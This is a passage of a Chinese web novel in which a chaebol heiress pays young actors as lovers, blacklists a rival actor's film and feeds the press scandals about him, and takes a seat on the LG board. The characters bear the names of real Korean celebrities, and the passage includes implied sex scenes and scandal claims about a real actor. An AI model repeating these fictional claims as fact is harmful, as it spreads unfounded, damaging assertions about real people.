想到这里，他的眼眸里闪过一丝坚决。在年糕摊的初遇，就是上天给予的最好机会，他要好好把握。 “宋玉妍xi，我会拉大提琴，你要不要去我家听听看？”说完他的俊秀的脸，红得像是喝醉了酒一样。 她的眼睛从对方宽松的灰色毛衣往上看，精致的锁骨随着动作若有似无地露出，脖子上方再也找不到一点白皙的皮肤。 宋玉妍当然知道他有些小心机，但是没关系，肯为他花心思就好。 第148章 第一百四十八章 到了朴保剑家，宋玉妍的神色不算很好看。他的公寓并不在首尔的核心区，老化的配套设施也只比考试院环境好一点。虽然 心底嫌弃这个逼窄的屋子，但他收拾的还算干净，所以宋玉妍也没有把嫌弃带到面上。 男人知道自己在她面前露怯了，表情瞬间不自然了。给宋玉妍拿了一瓶依云的矿泉水，然后把新买的毯子拆开，铺在新换的沙发套上。 “抱歉、抱歉，我的经济状况确实不太好……”朴保剑有些悲哀地想着，作为男人最有魅力的经济实力，他居然没有。要是他也是有钱人该多好！ 宋玉妍坐在舒适的毛毯上，身体放松地往后靠了靠，沙发套上还带着淡淡烘干的山茶花味，只觉得他确实是花了心思。当即微微一笑，笑容里不复之前的淡漠，而是带了点温柔的意味。 “没关系，反正你再有钱也不会有我有钱，我交……朋友不看经济条件。” 结婚那就不一样了！ 从朴保剑站着的角度往下看，原本他最喜欢躺着的纯色沙发上，宋玉妍的黑色发丝轻轻蹭着，几缕落在鬓边。看起来女友感十足！ 他想到自己后面要干什么，心脏就不听使唤地怦怦直跳，不断地握紧拳头，想让身体放松下来。 “我先去把琴拿出来，你在这里等我一会。” “好。”宋玉妍想到之前有一世在乐团的时候，里面的低音提琴手个个手臂上的肌肉，都能把西装给撑破。 没有一点力气，是扛不起那么大琴的。大提琴也就比低音提琴小两圈，拉弦乐都要力量控制，朴保剑应该不会让她失望吧！ 等朴保剑进房间的空隙，她拿出手机开始处理一些重要的消息。种花那边的市场要收尾、具熙愫两个投资项目要关注，其他的电影投资、以及新成立的KM娱乐…… 宋玉妍感受到自己精力不足，私人生活时间完全被侵占。她也想组一个秘书室，让职业经理人来打理无关紧要的琐事。 具熙愫呀！不要让我失望。 耳边忽然响起巴赫的无伴奏第一组曲，悠扬的音符安静地流淌在室内。宋玉妍轻轻地转过头，沙发后面的落地灯不知道什么时候开了，昏黄的颜色像是落日的碎光。 最让她吃惊的是朴保剑，这小子上身不着寸缕。附在手臂上的薄肌线条随着琴弓的一拉一推，时而稍稍紧绷，时而更加放松。锁骨下方的若隐若现，在幽暗的灯光下颇具情调，就连墙上印着的影子，都透着股暧昧时的性感。 宋玉妍轻笑一声，干脆站起来面对着他，好好“欣赏”这一组大提琴曲目。 如果忽略他因为灯光变得暗红的耳朵，和时不时瞟过来的目光，看起来是在全身心地投入演奏。 她有点渴了，拿起茶几上，之前没有动过的矿泉水瓶，扭开盖子，迫不及待地啜了一口。 隐晦又直白的目光如有实质，让朴保剑的头埋得更低了，像是要垂在琴弦里面。越拉越快，节奏显得更为急躁。 宋玉妍倒是没有再盯着他，而是继续拿着手机，在上面敲敲打打。没有感受到她的视线后，朴保剑在心底松了口气，耳朵上的温度稍稍退了退。 随后他的心底涌现出一股失落，节奏完全不成曲调了。 等门铃响起，他慌慌忙忙地放下琴，忘记自己赤裸的上身，匆忙地起身去开门。门外人的脸很眼熟，之前那辆库里南对方就是开车司机，把他送了过来。 “是找宋玉妍xi有事情吗？”就算只是她的助理，朴保剑表现地也十分客气。 门外的助理面对这样的情况显然是驾轻就熟，只是把袋子递给朴保剑，然后目不斜视。 专业的职业素养，让她对朴保剑裸露的上半身视若无睹，好像对俊秀帅气的男艺人的身材毫无兴趣。 “小姐nim，东西我给你准备好了，还有其他的吩咐吗？” 宋玉妍对于工作人员的能力她是信任的，头也不抬。 “你先去忙把！” 朴保剑关上门，明明在自己家里，但莫名不自在。同手同脚地走了过去，把手上一大袋放到沙发边。 宋玉妍从里面掏出一瓶红酒，瓶身上精致的烫金法文花体字看起来就很昂贵。 “你家应该有红酒杯和醒酒器吧！” “有……有的。”他接过红酒，不自觉地选择跟从对方的指令，去吧台上把它打开。 等他拿着醒酒器、酒杯过来后，看到宋玉妍铺在沙发上杏粉色的睡衣时，脸颊瞬间就通红。 朴保剑刚刚不经意地瞟了一眼，v领蕾丝边的款式和细到几乎没有的吊带，让他的大脑被搅成了浆糊。 粉色……应该很衬她，宋玉妍露在外面的皮肤像是饱满的奶油，细腻又柔软。她穿上这个睡裙，应该会像天气好时，晨间浮出的曦云。 “你看看自己适合哪个尺码，我不知道，就让助理都给买了一份。” 他才注意到原本空旷的茶几上挤满了十几个小盒子，满满当当。朴保剑只觉得自己像是一个煮熟的虾子，沸水蔓过头顶，快要让他窒息了。 来不及一个个看上面的功效，快速拿了一个尺码倒数第二大的小盒子，塞进裤袋里。是他想得那样！他的心脏又是期待又是紧张。 等宋玉妍问他浴室在哪里时，他胡乱地指了一个方向。就连给对方拿浴巾、洗脸巾和卸妆水都给忘了。 靠在沙发上的朴保剑心绪十分混乱，一时间在想等会要用什么姿势？他有些不太熟练，要不要复习一下！ 毕竟两人不是单纯的恋爱关系，他要让宋玉妍满意才行，至少不能敷衍。 等对方沐浴完出来之后，看到那抹杏粉色他的呼吸一滞，随后垂着头大口大口地吐气。和他想得一样好看，就像是粉色的淡云。 如果能和她名正言顺地在一起就好了，那样就可以住豪宅开豪车了。况且，她长得真好看，性格也好。 “你这里连拖鞋都没有。”宋玉妍赤着脚走了出来，手上抓着自己的头发固定在脑后。“你们家的沐浴露，洗得我身体好像有些过敏了。” 原本闻着一直属于自己的味道，现在出现在宋玉妍身上，有些意乱情迷的朴保剑连忙道歉。“切宋汗米达，我下次换一款纯天然扁桃油的……” “没事，到时候我让助理给你送几款过来好了。” 宋玉妍没有急着进入正题，而是淡淡一笑。捻起那小盒子旁边的红酒杯，轻轻地靠在她身上，闲聊道：“你是什么开始练习大提琴的啊！” 说到自己熟悉的领域，朴保剑自然放松了下来，开始说着自己从小练琴的趣事。包括他因为这项技能获得一个角色的事情，都说了出来。 毫无保 留的样子，像是只对主人忠诚的小狗，湿漉漉下垂眼睛里的碎光，像是要看得人心软。 宋玉妍摇着酒杯的动作轻缓了一些，几乎维持不住高傲的人设了。 “拉的很不错，以后有机会我拿小提琴过来，可以和你合奏一曲。” 听到这话，他眼底的惊喜溢于言表，谁不喜欢一个和自己有共同话题的伴侣呢？ 两人从巴赫聊到维瓦尔第，从浪漫主义聊到古典主义。朴保剑发现不管他说什么，宋玉妍就能轻松接上，眼底的痴迷更甚。 如果说之前靠近宋玉妍，是因为她的财富、她的社会地位。但现在他发现，宋玉妍本身就是一个很有魅力的女性。更何况，这样的她，好像只有他一个人了解。这极大地满足了朴保剑那隐秘的虚荣心。 “你快去洗漱吧！”宋玉妍不客气地用滑若凝脂的小腿，在他粗糙的浅灰色牛仔裤上踢了一脚，其中亲昵的意味可见一般。 等他洗漱完之后，剩下的事情顺理成章，红酒的微醺和气息的微喘交织在一起。 …… 第二天早上醒来，宋玉妍往旁边摸手机，只碰到手感粗糙的布料，这才反应过来，她现在不在自己家。 屋外好像下起秋雨，一点一滴落在窗台上，水汽顺着窗户的缝隙蔓了进来。听着雨滴声，感受着恰好的温度，让人的心情不由得更好了。 她难得地放纵自己赖床，看着旁边男人的睡颜，忍不住轻笑一声。难怪那些晨间剧里，男主都喜欢清纯系的小白花，她也喜欢。 就算对方的性格不如表现出来的那样，又怎么样？肯为他花心思就好。 她难得幼稚了一会，像是普通女友那样扯着朴保剑两边的腮肉。“我饿了，你起来给我煎蛋吃。”就算是腹内空空，也绝不委屈自己动手。 “阿尼。我有点累了。”他以为是经纪人哥哥，把对方的手给挥了下去。触碰到与以往不同的柔软肌肤时，突然瞪大双眼，他忘记这个房间还有一个人了。朴保剑像是兔子一样从床上弹射起来，手忙脚乱地套起裤子，冲进厨房。 留还躺在床上的宋玉妍目瞪口呆，她对昨天这个美妙的夜晚还是满意的，还在心底感慨对方不愧是没有过25岁的男人。 进了厨房的人只觉得懊恼，他早上在胡说什么？昨天晚上复习在宋玉妍那里加的分，估计用今天早上这句话都会给扣光。 等宋玉妍含笑靠在门框上看着他下厨时，朴保剑忍不住把背挺得更直了。他好像有点沦陷了，这样的氛围真的很像婚后生活。 水汽氤氲着幸福，他窗外的晨光格外偏爱他，给他专注的脸庞上了一层柔光灯。 第149章 第一百四十九章 等朴保剑把煎蛋端上桌时，宋玉妍坐在桌边用着手机。她抬头一看系着围裙、端着热气腾腾餐盘的男人，心脏忍不住软了一下。 “你看看有没有喜欢的公寓，我送你一套。”对待喜欢的人，她向来上心。 “亲加？（真的吗）”朴保剑很惊喜，他知道财富对于宋玉妍来说不过是一串数字，但是这也过于大手笔了！早知道他应该早点认识她的，这样能少走多少弯路啊！ 宋玉妍没有回答，只是打开助理昨天把她名下空余的公寓整理出来的文件。“梨泰院那套不错，附近都是酒吧，适合你们年轻人。” 那套房子是北欧风格的装修，她一直觉得过于冰冷了。所以从来没有去住过，现在送给朴保剑也不错。 他把餐盘放到桌上，用手捧着脸蛋，眼睛湿漉漉地看着宋玉妍。他知道对方应该是喜欢这样的，“那哪一套离怒那更近？我不喜欢去酒吧玩，吵得耳朵痛。” 看着朴保剑有些委屈的表情，宋玉妍只觉得好笑，这一晚上过去他的称呼又变了。他的这种“得寸进尺”并不让人反感。 “你自己看着挑吧，挑完和我助理说。” 看着正在吃早饭的宋玉妍，他左挑右选选了一个龙山区的公寓。“怒那，到时候你要是很忙的话，我可以去你家给你做饭。” 他用下目线看人，眼睛弯到卧蚕十分明显，看得人心脏有些受不了。宋玉妍只是瞟了一眼，就挪开了目光，专心致志地解决盘子里的溏心蛋。不想两人之间单纯的关系节外生枝，所以她拿起柳橙汁，装作没有听到的样子。 金钱的关系就止步于金钱就好了，要是让对方过于介入生活，这种不确定的感觉，是宋玉妍最讨厌的失控。 “怒那，我可以去你家给你做饭吗？”一向很懂得看人脸色的男人此刻特别固执，像是鼓起了所有的勇气，想要一个回答。 “我不喜欢有人介入我的私人生活，你现在有点过界。”虽然对他很满意，但是宋玉妍在这方面很有自己的原则。脸上柔和的笑意瞬间淡了，眉头紧蹙了起来，眼神变得锐利又淡漠。 看到对面女人眼底的不耐烦，朴保剑有些受伤，不是说女人都是感性的吗？他以为之前那些若有似无的纵容，是对他的偏爱。之前也听说过一位大前辈也搭上过她，但也没有后续了，原以为自己会是不同的。 “我能成为那个例外吗？只要分我一点点偏爱就好？”他伸出手指，比了一点点微小的距离。 宋玉妍没有多说什么，吃早饭的好心情被冲地七零八落，直接拎起包走了。“LG的代言合同我到时候会让助理拿来，以后你和她联系吧！” 意思就是以后两人不会有直接联系了。留在原地的朴保剑听到这话心都要碎了，虽然他对宋玉妍的心思并不完全单纯，但是不能说全部都是虚情假意。 听到对方这样想要断绝关系的话，他垂着头坐在椅子上，巨大的悲伤将他笼罩，像是一只被主人抛弃的猫咪。 出了门的女人心情也很烦躁，从大学之后她就告诫自己不要再陷入爱情的陷阱中。演 艺圈里面的男人能是什么好东西？ “你这个公关部部长怎么当的？我们公司就这么几个艺人，你也多上一点心！怎么不多签一点人？”她心情不好就想到了把朴保剑列入名单的车利勋，直接打电话过去把人骂了一顿。 刚从CJ转到KM娱乐就职，负责公关宣传这一部分的车利勋，坐在办公室，买来的冰美式还没有喝一口就接到了老板的电话。 这一大早上又谁惹她了？而且他也不是星探，这种签艺人的事情不是他的工作啊！ 他拿着电话干脆直接道歉，听着宋玉妍的训斥，越听越明白了。这哪是工作不满意，是因为推荐的男伴不满意了？ 车利勋拿起冰美式润了润喉道：“代表nim，我也是这样觉得的，我们KM娱乐以后可是行业领头羊的存在，就这么一些艺人确实是不像话。最近我看李敏浩、池唱旭、车银尤、金宇斌这几个艺人不错，我把他们的履历发给你？” 原本被搅乱的心情好了一点，宋玉妍觉得自己这段时间和朴保剑的联系过于频繁了，因为some给了两人恋爱的错觉。她听到车利勋给她的台阶，松口气，想着多接触一点新鲜的艺人也好。 她漫不经心地翻着对方传过来的文件，电话那边的人心脏悬起。 “李敏浩不是在和jyp那个女爱豆谈恋爱吗？你是想让我做小三？” 车利勋：“代表你如果喜欢的话，可以让对方分手，这不是什么大不了的事情。” 宋玉妍：“……”她难道是什么道德底线很低下的人吗？ “车银尤人家都还没有成年吧？完全是人渣啊！西八kaesaeggi。”最后那个人选，脸型过于崎岖了，看得人心情更加差劲了。 心情不好的时侯，她打算暂时把工作放下，大不了之后加班熬夜完成，现在是不太想碰工作的。宋玉妍一边刷着pann，看着那些奇奇怪怪的八卦，一边做着露营攻略。 没过一会，具熙愫就打了电话过来。“代表nim，你之前投资《局内人》这个电影，李炳宪公司要追大投资，想要把我们踢出局。” 原本当时投资这个项目，宋玉妍对这个男主就很不满意。一群忠武路老登就知道抱团，垄断资源，想要把年轻人上升的路都堵死。 LG私生女的身份对于其他人可能有震慑作用，但是他曾经也是大宇集团的养子，对于财阀缺少敬畏心。 “直接撤资。”她当即冷笑一声，既然对方不想要她的投资，又不是钱多烧得慌。然后打电话给CJGROUP的负责人。 “《局内人》上映之后，CGV所有的影院不准给排片。”把电话挂了之后，她又给《东亚日报》、《朝鲜新闻》等老牌媒体打电话，让吃瓜群众复习复习他的黑料。 对方自己不干净，还来招惹她？之前的《X档案》，不久的出轨，以势压人白嫖人家女爱豆。 舆论攻势一出，当下民众都开始把目光，转移到这位青龙影帝专业户身上来。 看到这样的局面，她才出了口气，然后给自家的公关团队下发了命令。“以后要是他想竞争青龙影帝，直接帮他的对手演员公关。影片要上映的话，直接把他的黑料翻出来，和这次一样，让民众抵制他的作品。” 一旁开会的具熙愫听到这话，面上有些迟疑。等职员都走了之后，她才问出来：“代表nim，这样是不是太过火了，把人完全摁下，我们也要耗费无数资源和金钱。” “我都怀疑你是不是财阀的血脉了，堂姐。”宋玉妍从她定制的手工靠椅上站了起来，明明两人身高差不多，但是具熙愫就是有种被俯视的感觉。 办公室大的空旷，中央空调的温度恰好是人体最舒适的25度，但她的手心、额间都出了细汗。头顶上的冷光灯像是审判室里的那样，照得人头晕目眩、后背发凉。 “如果不把人完全摁下去，盯着我们的人就会像一群闻到血液的鬣狗。你要软弱了一次，就会有无数人抱着侥幸心理，冲上来想要从你身上咬下一块肉。”宋玉妍踩着自己的高跟鞋，拉近这两人之间的距离，手指贴在具熙愫的脸上拍了拍，冰冷的触感像是蛇的鳞片，让她忍不住哆嗦了一下。 精致的妆容像是坚硬的面具扣在她的脸上，轻柔的声音像是情人之间的呢喃。“就连你离婚被那个男人分走大半财产不也是心软吗？堂姐！” 说完之后，宋玉妍就头也不回地离开了，像是只是在指点她。但是身体瘫软坐下的具熙愫知道，这是她最后的一次机会。 明明是一个私生女，从来没有接受过财阀家的正统教育，但手腕、能力和她那位名义上的堂叔如出一辙。 这段时间里，李炳宪的状况很不好，他心急地找来自己交好的一些人，攒了个局。他颓靡地靠着沙发，整个人像是很久都没有睡好，指尖的烟不断，有些无力地问道：“现在怎么办？当时是说让我先去试探一下的，现在我被集火。” 旁边的宋呈宪面色也不好看，“这样下去忠武路的玩法迟早会被她搅乱，她在CJ开的新开的那两个电影项目，完全就没有给我们递本子的意思。” 原本忠武路的所有剧本，都是先给三驾马车看过，然后是李炳宪、李正宰、河政宇这些第一梯队。他们算是票房保障，但是现在宋玉妍改玩法，压根不在意票房过不过损益点，一心一意捧新人。 既得利益者哪还做得住？所以李炳宪这次把对方逼撤资就是一次试探，既然你不遵守游戏规则，那就出局，我们赚钱不带你玩。 “她不是只是个私生女吗？哪里来得那么大能量？”郑宇盛问道，LG家族所有的女儿就是装点门面看的，压根没有实权。 “我给之前在CJ的人脉打过电话了，对方说现在宋玉妍也是大股东。”李炳宪现在很后悔，为什么要做这个出头鸟。 坐在最角落的赵寅城眼底划过一抹思索，宋玉妍的能量比他想象中的还要大，居然能把李炳宪逼到这个份上。 “赵寅城xi之前不是和她有过一段吗？让他在中间牵个线说和！” 第150章 第一百五十章 赵寅城：？？？ 他的脸色有些难看，像是打翻了的颜料混在一起泼在上面。后面只有人给他寄来一份合同，连宋玉妍的面都没有再见过。 “我和她很久也没有见了。”他苦笑了一下，像是在自嘲。就连经纪人重新联系KM娱乐公司，也是碰了个软钉子。 “怎么会呢？你至少还有她的联系方式，我们可是连人影都摸不到。”李炳宪走过去揽住他的肩膀，好像两人一直都是关系亲近的朋友。 “寅城呐，不要让我失望好吗？”他像是有前辈的姿态，逼迫赵寅城去说和这件事情。“你知道的我不会亏待兄弟，到时候会给你塞几个忠武路好剧本的！” 浓烈、辛辣的烟草气息喷在他脸上。赵寅城不知道是因为想重新进入忠武路的心情过于迫切，还是迫于他强势的逼迫亦或是心底隐秘地想要和宋玉妍重新产生交集的冲动。 “我会好好做的，hiong。”说完之后，他走出了喧嚣的包房，去走廊拨通了那个偶然得知却从未打过的电话。 —— LG集团的具社长在百忙之中，抽出时间听到尹灿汇报宋玉妍的近况。听到她抬手把想要限制她的人打压下去，嘴角的笑容压都压不住，这个他已经认定了的继承人，手腕、能力、心气都不缺。 他把定制款的万宝龙搁置在笔架上，有这样的继承人不愁集团超不过三星。 “你带她去一下龙山警察署，把姓改回来。”一直姓宋，到时候进集团名不正言不顺。具官烨觉得具玉妍这个名字也好听。 “社长nim，要不您亲自和小姐nim去说吧。”尹灿垂着头，板着的脸 还是那副古井无波的样子。自从上次对方凑近奚落他之后，总觉得心脏时不时地鼓动一下。 具官烨也觉得这个是个大事情，交给秘书去做有些不正式。“那你到时候和她约个时间，我亲自和她去说。她玩够了也应该进集团了！” “我知道了，社长nim。”尹灿的头垂地更低了，像是在像上位者表示臣服。但暴跳的心脏像是在暗示他，到时候又能见宋玉妍一面了，他很难描述这种隐秘的、期待的心情。 KM娱乐公司，车利勋觉得他最近的日子很不好过。感觉他在逐渐被踢出公司最核心的业务板块，拿着十亿年薪却无用武之地，这工资他拿得有些烫手。 作为下属，就应该急上司所急，自从把新的一份艺人名单拉给宋玉妍之后，车利勋没有听到LG手机更换季度代言人的消息，就知道，代表在私人生活上兴趣缺缺。 这怎么能行呢！他这个公关部长怎么坐上来的，他心底还是有数。 这段时间看着《局内人》上映之后，收益距离损益点还是一段距离，宋玉妍就更有动力工作了。 “代表nim，车部长好像有点事情要找您！”她的秘书敲门进来。 “你先晾晾他，工作一点也不上心，舆论监控也不到位。怎么能在这个时候让李炳宪那家伙营销演技呢？”宋玉妍翻着这个季度的财报，挥手让秘书先出去了。 落地窗外的天光从明亮变成夕阳泛着的金色，这边周围CBD建筑上外墙的灯光一点点点亮。看着近处、远处一个个格子间似的办公室亮起亮白色，宋玉妍坐在椅子上俯瞰着，恍然间觉得这栋楼还是不够高。 如果是三星家族的掌门人，从他们大楼往下看，会有把整个南韩的经济命脉握在手中的感觉吗？ “代表nim，车部长已经等一下午了，要让他进来吗？” 宋玉妍回头稍稍颔首，她从抽屉里拿出一支卡比龙，点燃之后夹在手指中间。 “你要来支香烟吗？”虽然对这个公关部长的工作能力很不满，但她面上没有显露出来，还是言笑晏晏。甚至烟盒往他那边挪了挪。 “不用了代表nim。晚上有一个艺人很仰慕您，想和您一起吃个饭，你看可以安排吗？”知道她不喜欢废话，他干脆单刀直入了。 “怒古呀（谁呀）。”她好像知道车利勋的心思，最近素了太久找找乐子也不错。 “池唱旭xi。”是上次宋玉妍唯一一个没有挑刺的。 知道之后，宋玉妍按照地址让助理去了餐厅，对上对方诧异的眼神，她好像知道他在想什么。 无非就是功成名就的女性，大多数都已经上了年纪，就算在美容院花了大价钱，也维持不了日渐衰老导致的肌肤下垂。细纹可以淡化，但岁月侵蚀后的生命力，不是那么好遮掩。 而她，是难得的年轻女性高位者。 宋玉妍点了一杯昂贵的香槟，池唱旭看过菜单，为这里的消费咂舌。就这一瓶酒，都能赶上他在南韩拍一部剧的片酬了。 她喝了点酒，像是桃花汁水染上了脸颊，原本高高在上的疏离气质瞬间被削弱不少。宋玉妍有些微醺，对着这位清粥小菜没什么想深入了解的想法。 要是每一个男伴她都了解一点，那就不是找乐子了，和平常社交没有两样。 “你是自愿的吗？”宋玉妍不屑于强迫，对于她来说单凭容貌，就能让无数男伴前仆后继。 想到随着工作重心转移到种花，都快失去本土资源。池唱旭闻着空气里奢靡的酒味，重重地点了点头。 轻薄的卡片、有些踉跄的脚步、呼吸的纠缠、玫瑰的香薰、到浴室里的冰冷的贴瓷。 第二天难得赖床了，宋玉妍掀起被子，只觉得这家的床品柔软度不够。看来以后可以取消这个酒店的常用房间了。 旁边的池唱旭也因为她的动作醒来了，有些不太好意思地用手搭着额头，手臂遮着自己的眼睛。 穿好鞋，本来想要直接离开的的女人还是转过身来。“你想要LG的季度代言，还是电视剧的男三号？” 听到这里，目前不缺钱的池唱旭有些迟疑，对他来说都是不错的资源。他用另一个手指在被单扣了扣，然后鼓起勇气道：“我都不要，我和您学习……该怎么钱生钱。” 说完这个他泄气了，不敢直视衣柜旁的宋玉妍，咬着牙等待着宣判。他知道赚钱的方法不会轻易被透露，能依仗的不过是宋玉妍昨夜温存过后的良心。 说到这，宋玉妍倒是来了些兴趣，难得正眼看了他。 能够问出这样的问题，让她没办法把人当成一个单纯的舒缓剂。但还是觉得比她大三岁的男人有些单纯。 “钱都会流向不缺钱的人，对于我们来说赚钱和呼吸一样简单，只要明天起床，银行卡的余额就会自己跳动。” 她不着急走，而且慢悠悠地坐在窗边的沙发上，豆绿色的真丝在空气里划过轻薄的弧度。抽出一支香烟，但是却没有找到打火机。 助理准备的袋子里没有，她也不会把这个放包里。 池唱旭倒是很有眼色，从自己散落在地的裤子里摸出一个打火机，然后凑过去殷勤地帮宋玉妍点燃香烟。 宋玉妍倚过去，吸了一口之后，吐了一个烟圈，起身走过去捏住床边上，男人的脸。她用的力并不轻，没一会周边的皮肤就泛起红。 “你倒是贪心。”她眯起眼睛，瞳孔像是捕食者，打趣道。早晨的欲望又被撩起，她对着男人的嘴唇重重地吮了上去。 一来二往间，精心熨好的裙子又皱了，倒在床上厮混。 在日头高涨后，宋玉妍记起来下午要和具社长见面。她贴在累倒在床上的池唱旭耳边轻轻说道：“可以的话，还是把事业转回本土吧！” “莫？” 见他状况外的样子，宋玉妍难得没有厌蠢，而是耐性地解释着。“我们和种花之间的关系很微妙，一不留神就会让你在种花的事业受到打击。” 如果说南韩的演员待遇一般，那海的那边简直就是遍地黄金。面对这样上位者的建议，池唱旭当然会好好听从，只是……舍不得那边高昂的片酬。 “如果可以的话，买买首尔的房子吧。” 说完之后宋玉妍重新穿上了那条绿色裙子，时间有些赶，来不及去美容室，只能这样去见具社长了。 茶室外面的尹灿，还是那副眼观鼻鼻观心的模样，只是闻到她身上糅杂的味道，心里莫名不舒服。 具社长看到女儿一身慵懒，头发蓬蓬地放在脑后。作为过来人，他哪不知道宋玉妍昨天晚上做什么好事去了。 喝了口茶水，把在家习惯性的训斥压在嗓子间。他就这一个出息的孩子，可不能让人离了心。 “如果太累的话，你和尹灿说，我们换个时间。”具官烨露出皮笑肉不笑的表情。 “见你不需要挑日子，说吧，什么事情。”宋玉妍揉了揉自己凌乱的头发。“别说让我进LG了，你抓紧再生个儿子，争取在七十岁之前培养好，让他继承你的位置。” 听到这样的话，具官烨真的是眼前一黑。这样不着五六的话说出来，是跟谁学的？ 他忍住想要去开降压药的冲动，耐心地和她讲道理。“你以为你这次半封杀那个大宇集团的义子这么容易？不说他自己的人脉，就是他旗下的韩孝周也是背景身后，那些纸媒凭什么卖你一个CJ小股东的面子？” 言下之意就是，还是LG集团在背后给她撑腰。 “你现在能获取的资源只是一小部分，你确定靠自己能一直保得住这部分财产吗？不会变成检察官刷kpi的血包，或者被其他人吞并？” 具官烨说出这番话后，老有神在。三星连石锅饭连锁店都要开，所谓的中型企业在南韩就是个笑话。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 【END】 第151章 第一百五十一章 虽然觉得他说得有道理，但宋玉妍还是不想让他这么快得偿所愿。“LG集团现在就是艘破船，看着表面光鲜，其实里面已经摇摇欲坠了。” 她没有喝具官烨挪过来的茶水，看着澄明的液体，心底对这个庞然大物不以为意。 “利润不会骗人，市值也不会骗人，属于韩国企业的黄金时代已经过去了。与其我和这样一艘破旧的巨轮共沉沦，不如稳稳当当地开着我的小船，至少不会因为漏水被一个海浪打翻。” 听到这样的话，原本叱咤风云的LG掌门人像是一瞬间就老了。原本挺拔的脊背，顿时佝偻了下来。面对现在国内外的压力，他在苦苦坚持，LG的经营已经显出颓势了。 “至少把姓改回来。”具官烨觉得自己累了，核心业务LG电子被三星压制地死死地，海外贸易也不顺利，高层都在求稳不求变革，把压力放在他一个人身上。 宋玉妍思索了 一下，改姓对她来说没有什么问题。“LG百分之二的股份。” 成为董事会第四大股东的具玉妍踌躇满志，原本顺利的项目现在更顺利了。喜欢扒财阀家私生活的那些媒体，准备开始把她盘点为LG家族的继承人。 堂姐具熙愫还开玩笑地叫了她一声太子。 “你少来，再叫这个称呼我就把你送去联姻。”宋玉妍喝着45度的温咖啡，在自己办公室开了句玩笑。 “联姻？我都三十多了，人家不一定看得上我，倒是你那个同父异母的妹妹很合适。” “怎么会呢？想要寻求LG财富支持的国会议员、左｜派候选人、坐冷板凳的检察官，还可以给你列个名单挑挑。”具玉妍把话题岔开了。 具熙愫：…… “我最近可忙了，不但要忙工作，还要忙着应付你的那些男人。”具熙愫从包里掏出一个小盒子，她现在是《请回答1988》的制片人，和朴保剑的交集变多。 “这个是人家祝贺你正式进入LG董事会的礼物。多用心啊！” 具玉妍接过一看，是宝格丽的定制胸针，蛇形上的绿色宝石看起来价格不菲。随手塞进抽屉之后，她依旧没有想回人消息的动作。 “他倒是有心。” “还有赵寅城，最近一直约你吃饭，说什么李炳宪拜托他攒局和您道歉。”具熙愫觉得她就应该拿高额的分红，又是组项目又是帮忙处理私事。 “居然求到他面前了？”具玉妍面上一些意外。李炳宪找过圈内的电视台高层、有过合作的导演、振兴委员的成员……来联系她，想两人冰释前嫌。没想到这次居然找到了赵寅城头上。 “那就答应他吧，不然圈内人又要说我薄寡无情，居然连男伴的面子都不给” —— 这天晚上的局和以往的很不一样，李炳宪只叫了自己圈子里和他关系不错的。原本常点的女公关和陪着的艺人都没有，他瞟了一眼把自己当雕塑的赵寅城。 要不是顾忌他在，李炳宪肯定要点几个男公关，让具玉妍高兴了，后面的事情也就好谈。 等宋玉妍带着生活助理、秘书、保镖一群人乌泱泱地进来。看着包房里面的沙发，毫不客气地占据最长那一个。八个工作人员把她围在中间，总统来了架子都没有这么大。 他的面色一僵，这算一点面子都不给他了。 在圈子里混久了的都是人精，他的脸上马上浮现出真诚的假笑。“宋小姐nim，加大投资的事情是真的抱歉，我当时没有想那么多。” 是吗？具玉妍捋了捋自己的头发，放松地往后一靠。 “怎么会呢？自己能投资当然自己赚钱咯，带别人一起那是什么，是蠢货。”她脸上是毫不在意的笑容，拿起菜单毫不犹豫地勾了最贵的那些酒。 看着侍应生捧着昂贵的玻璃酒瓶，一瓶瓶地举过头顶鱼贯而来。 李炳宪铁公鸡一样的性格，都觉得无法呼吸了。这些酒的价格加起来不低于十亿。 “还有我现在不姓宋，我姓具。” 一个公开的秘密终于尘埃落定，这让他的血液逆流，宛如置身冰窖。CJ大股东的身份就足够难搞了，现在LG还站在她身后。 “具小姐nin，切宋汗米达。”李炳宪果断低头，“这次的投资是我做的不对，怎么样您才能消气？” 他是能自己投资没错，但是院线不在手里。就算是带资进组，没有影院上映，钱也是打水漂。更何况具玉妍现在轻飘飘的一句话，就能让BH旗下的艺人损失无数代言。 具玉妍终于看了他一眼，脸上的笑容一直没有下去过，看起来十分好说话。 “做生意讲究的是有始有终，我一会投一会不投的，别人只会觉得我这个投资人朝令夕改，没有分寸。” 李炳宪的脸色瞬间不好看了，求助般地看向赵寅城。仿佛在说，只要能度过现在这个坎，该付出多少资源都可以。 “具玉妍xi。”面容俊秀的男演员有些无奈，主动开口调解。“李炳宪xi是怀抱着十二分真挚的决心，想要认真和你道歉。” 再次看到这位投资人，对方已经完成了身份三级跳。从CJ的小股东到KM娱乐幕后的操盘手，再到现在LG这个庞然大物的董事会成员。 对方雪肤乌发，被权势、金钱浸染出来的清冷感像是一块磁铁一般深深地吸引着他。赵寅城不知道是为她本身的魅力，还是为具玉妍身份背后的势力所倾倒。 具玉妍把包递给身边的生活助理拿着，伸出手指指了指桌上的威士忌酒。刚从冰库里拿出来，瓶身的表面还冒着水汽。 “要不李炳宪你把这几瓶威士忌都喝了吧！早就听说忠武路的男人都很能喝。” 李炳宪看着桌上那三瓶五六十度度的威士忌，平常他们喝最多也只是一人半瓶。过了四十岁的年纪，再像之前年轻时候那样不要命地喝酒，恐怕对肝的负担太重。 如果今天把这三瓶都干了，恐怕他得胃穿孔。 “我……”他很是犹豫，看着桌上的酒瓶嘴唇微微颤抖，视线从一个瓶身扫到另一个。吞了吞被烟草燎过后，有些干涩的喉咙，“年轻的时候酒量不错，现在完全不行了，我罚一瓶当做赔罪。” 说完李炳宪手指握住瓶顶部的马身，怀抱着侥幸心理，他暗自讨价还价。女人嘛，都是心软的，只要稍稍低点头，她们都不好意思斩草除根了。 具玉妍没有给他任何一个眼神，直接站起来准备走，路过赵寅城时候甩下一句：“这是最后一次，以后不要让人再来找我了。” 穿着西装，头发是刻意抓过的，赵寅城在她答应要来的时候，心底还窃喜了一瞬。就算LG手机的代言人换来换去，他觉得自己在对方的心底是不一样的。 知道宋……具玉妍向来是说到做到，他内心惶恐不安。几乎是身体的条件反射，想去拉女人的手臂，下一秒他被带来的保镖反手按在沙发上。 “李炳宪xi！”赵寅城顾不上自己的狼狈，想要他服个软。 他不想以后和具玉妍毫无交集。不管是作为伴侣还是作为金主，对方都是一条极好的人脉。 